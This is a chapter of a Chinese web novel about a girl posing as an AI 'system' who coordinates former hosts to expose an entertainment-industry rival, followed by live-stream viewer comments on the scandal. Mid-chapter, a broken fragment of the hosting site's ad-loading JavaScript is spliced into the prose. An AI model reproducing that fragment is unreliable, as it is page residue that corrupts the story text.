柏俞本想靠在露台门边听听炮灰哥哥又遇到了什么麻烦,但王妈一直在客厅里陪着她,她不好光明正大地听墙角。回到房间后,柏俞第一时间就抱起了平板。 她先是点开了显示红点的飞鸽,何荷通过好友申请后,给她发来了一笔转账。 【情感博主/何荷:[转账]大佬这笔钱交过税了,是到目前为止的视频收益,我们五五分成,后续分成、视频制作的费用我们可以再谈。】 【情感博主/何荷:期待和你再次合作!!捧花.jpg】 柏俞暂时没收这笔钱,但也向何荷释放了期待合作的信号。 柏俞看得出来,何荷非常擅长做内容运营,没有她的运作,这个视频大概率不会火成这个规模,柏俞想着和她后续不仅能有慰问AI的推广合作,还能向她咨询自媒体起号的相关事宜。 回复完何荷,柏俞没等对方回复,切换屏幕点开了大眼。 “直播?” 柏俞浏览着有关廖横武的事件发展,愈发担心起还在闯关穿越的张狗蛋:他能提早到达,满6小时获得系统提供的现代身份参加招聘吗?他还没做简历呢! [系统:张狗蛋,敲敲,答题有什么困难?] 张狗蛋很快就给了柏俞回复,生怕系统觉得他不行。 [剑修/张狗蛋:没有什么困难!我这是要确保万无一失!] [剑修/张狗蛋;我现在也能上网,系统你转发的招聘信息,我去了解了事情的起因,除了当武术指导,你有没有其他需要我做的,比如里面的谁让你不开心了,我能套麻袋把他打一顿!] [剑修/张狗蛋:你等我模拟一下……现代给人教训的步骤有一点繁琐,真麻烦!] 柏俞:……这法律和公序良俗你真的读了吗?是犟种就闯关99次但屡教不改??? 柏俞:看来我得找找廖横武的其他黑料,做两手准备,光明正大的把他比下去这条路子好像行不通!!! 如今没有系统面板功能,柏俞无法直接获取他人信息,通过黑客手段是侵犯公民隐私,柏俞只能采取最原始的方法——询问有相关经验的前宿主,同样在娱乐产业工作的张强。 [影视基地/张强:我知道廖横武,坊传的老人了,我从前听闻过坊传的权/色交易,会让手下的娱记多加注意,系统你就等我的好消息吧!] 收到柏俞消息的张强正在陪妻子看狗血霸总剧,他回复完信息,往上翻了翻系统原谅他的聊天记录,想着系统真好,大人有大量,张强喉头哽咽心想:我一定要找到廖横武多多的黑料!系统以后不用要强了,我会为她遮风挡雨的,系统的强来了!! 被自己感动到的张强吸了吸鼻子,声音不自觉地带上了点呜咽:“系……” 听到声响,妻子的视线抽空离开屏幕,诧异地瞥了张强一眼,有些不满:“白月光回国你哽咽什么!?给我笑!” 张强的话一顿,这才意识到自己出声了,连忙安抚妻子道:“系渣男!白月光出国,霸总又不系死了,也不知道经常出国陪她吗?!” 妻子一扭头:“哼,算你拎得清。” 安抚好妻子,张强对本不应该出现在客厅的儿子指指点点:“还有你!张光耀,系……是不是不听话?我叫你去洗澡睡觉,你不要借着打水的名义跑来客厅!臭小孩看什么霸总剧,今天你让你爹的脸都丢光了你知道吗?!” 猫腰端着水壶的张光耀嘴巴一撅,直起身揣手,发出一声不服的鼻音:“哼!” 张光耀:这独留我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 清醒的世界啊,真是寂寞如雪! “你根本不懂!”丢下这句话,张光耀一溜烟地跑没了影。 “嘿!”张强看着不听话的中二儿子不服地跑开,抱怨似的嘀咕道,“也不知道像谁!?” 嘀咕完,张强又试探性地和妻子提出建议:“老婆我们以后回房间看吧,不能让这兔崽子再围观了,都中二成什么样子了,今天我算是颜面扫地了!” 而张光耀直奔房间,他的手机被开了儿童模式,没有密码无法上网看电视剧,失去影视指导下一步行动的张光耀只能自力更生,他沉吟许久,给柏俞发去了飞鸽信息。 【张光耀:你收我当你小弟吗?小弟很想当你的小弟!】 …… 此时的柏俞刚接到父亲温渊的电话,在老管家的安排下,早早蜷缩在暖烘烘的被子里,闭上眼听着温渊讲的睡前故事,想着事情可以明天再烦恼,柏俞翻了个身,慢慢意识模糊,沉沉睡去。 *** 第二日柏俞还未睡醒,综艺就已经准时开播了,直播间一大早便涌入了大批吃瓜群众,弹幕霎时间热闹非凡。 【怎么分两个直播间,谁指路那个不知道尊师重道的江岚直播间号,我先去那里踩两下!】 【2354626,官博刚发,拿去吧,不用谢,我刚从那里回来。】 【资本压人真的很讨厌!这周末我懒觉都不睡了!真的最讨厌职场霸凌!江岚就仗着有导演撑腰!仗势欺人!】 【虽然但是,谁有温时礼、江岚有一腿的证据,而且打人视频才几秒啊,也不知道前因后果的,凭空臆想贷款骂人不好吧……万一只是剧组正常维权呢?】 【这么喜欢捧江岚温时礼臭脚去另一个直播间啊,真无语!有证据我不发,哎!我就是臣妾百口莫辩,现在谁不占理你看不出来吗??】 【前面的弹幕,你不会是温时礼梦女吧,带入江岚觉得哥哥维护我帅死了!看他长得帅所以包容他职场霸凌,长得帅没用!这种品行不端的人混娱乐圈,不知道得有多少人遭殃!】 【我说网友没证据,另一方证据不充足就是梦女,你这个直播间弹幕真恐怖,走了。】 另一边,江岚的直播间也不太平,不少侮辱性的词汇被系统检测直接屏蔽,但因为有江岚的粉丝,弹幕内容显得更有信息含量,而不单纯是一些情绪宣泄。 【温时礼自己也是新人导演,没有那个能耐搞什么职场霸凌吧,也没人扒出他有啥了不得的背景,但是廖横武很早就签约坊传了,算坊传娱乐的老人吧,谁更有资历不是一目了然。】 【我有一手瓜,廖横武女儿也是坊传的,最近被狗仔拍到和一个富二代去赛车。】 【我也有二手瓜,我有个亲戚在酒店工作,和我说温时礼孩子都有了,她在酒店遇到过他抱着一个睡着的三岁小女孩。】 【我听说剑澜之前被撤资了,我真的是玩投资的,大家信我。】 【又装内部人员,我还说我躺温江床底下听到了呢。】 【前面的弹幕,举报了。】 【来了来了,有画面了。】 【这哪啊光线这么昏暗,地下停车场?嘉宾呢,搞什么啊,狗仔模拟器?开局停车场蹲人?】 【不愧是李导!瓜综的神!我也是演上狗仔了,来了来了,江岚下车了,拍清楚一点啊这破相机,我当狗仔怎么会拍不清楚人?!我现在要扛着相机冲在第一线!】 江岚推开车门,拎着一大袋东西下车,没走几步,她隐隐感到旁边的黑车边上有人,传来悉悉索索的响动,她的心猛地一提,攥紧了手中的袋子。 【我去!刚刚镜头扫过的那里,那个车后面是不是有人影啊,剧组安排的人吗?不会是私生饭吧?!】 【江岚停下来了,她是发现摄像头还是,她知道开拍了吗?怪紧张的叻……好像那个偷拍的。】 【当这狗仔还怪刺激的……我的心怦怦跳了!】